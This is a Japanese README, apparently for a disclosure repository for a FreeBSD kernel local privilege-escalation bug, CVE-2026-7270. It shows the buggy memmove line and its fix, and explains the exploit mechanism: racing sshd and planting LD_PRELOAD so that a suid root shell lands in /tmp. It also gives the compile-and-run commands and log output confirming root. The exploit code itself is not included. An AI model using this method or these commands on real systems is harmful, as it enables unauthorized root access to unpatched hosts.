
CVE-2026-7270 exec_args_adjust_args の OOB memmove による FreeBSD ローカル権限昇格
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
FreeBSD の exec_args_adjust_args の OOB memmove によるローカル権限昇格
exec_args_adjust_args()(sys/kern/kern_exec.c、2013年から存在)の演算子優先順位のバグにより、sshd が動作しているデフォルトの FreeBSD インストールでは、任意のローカルユーザーが root に権限昇格できます。suid バイナリも、カーネルモジュールも、設定変更も必要ありません。
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + should be - */
+ consume は - consume であるべきです。符号が間違っているため、memmove は正しい endp - begin_argv - consume ではなく 2 * consume バイトをコピーします。shebang exec で 265,185 バイトの argv[0] を使用すると、memmove は 528,384 バイトの exec_map エントリを隣接するエントリに 2,024 バイト超過してオーバーフローします — クラッシュも、シグナルも、ページフォールトも発生しません。
このエクスプロイトは、OOB memmove を、着信 TCP 接続に対する sshd の fork/execv と競合させます。sshd-session は suid/sgid 遷移なしで root から root として実行されるため、issetugid() は 0 を返し、ランタイムリンカーは LD_PRELOAD を尊重します。このエクスプロイトは、sshd-session の exec_map エントリに LD_PRELOAD=/tmp/evil.so を仕込みます。evil.so のコンストラクタは uid=0 として実行され、/tmp/rootsh に suid root シェルを配置します。
4 CPU の VM で、起動から約 6 秒後、ラウンド 5,030 で root を取得します。
| 影響を受けるバージョン | FreeBSD 11.0 から 14.4(全リリース。開示時点でいずれのブランチにも修正なし) |
| 前提条件 | ローカルの非特権シェル。sshd が動作していること(FreeBSD ではデフォルト) |
| 信頼性 | ラウンドあたり約 0.6% のヒット率。4 CPU システムでは数秒で root を取得 |
| テスト済み | FreeBSD 14.4-RELEASE-p1 amd64、GENERIC カーネル、4 CPU、2GB RAM |
sys/kern/kern_exec.c の 1 文字を変更します:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
FreeBSD 14.4 ターゲット上で、任意の非特権ユーザーとして:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... 数秒 ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
QEMU 環境下(macOS ホスト、qemu と sshpass が必要):
./run_poc.sh # VM を起動し、コンパイルし、エクスプロイトを実行
./run_poc.sh run # 実行中の VM に対して再実行
./run_poc.sh clean # VM の成果物を削除
$ ./run_poc.sh
[*] FreeBSD 14.4 VM を起動中(4 CPU、2GB RAM、SSH ポート 2225)...
[*] QEMU pid 25908、ログ: vm.log
[*] ポート 2225 の SSH を待機中...
[*] 1 秒後に SSH が起動
[*] エクスプロイトソースを VM にコピー中...
[*] 非特権ユーザー 'freebsd' を作成し、コンパイル中...
[*] コンパイル成功
[*] 'freebsd' としてエクスプロイトを実行中(最大 15000 ラウンド)...
[*] 以下の ROOT OBTAINED を監視中:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root シェル: /tmp/rootsh -p
[*] root を検証中...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== rootsh 経由の id ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] VM を停止中(pid 25908)...
| ファイル | 説明 |
|---|
exec1_lpe21.c | 自己完結型エクスプロイト — 非特権ユーザーとしてコンパイルして実行 |
run_poc.sh | QEMU 自動化: FreeBSD 14.4 を起動し、コンパイルし、エクスプロイトを実行 |
WRITEUP.md | 完全な技術解説: バグ分析、エクスプロイトアーキテクチャ、開発履歴 |
blog.md | 発見とエクスプロイト開発の物語的記録 |
images/ | SVG 図: exec_map レイアウト、自己コピーメカニズム、攻撃全体の概要 |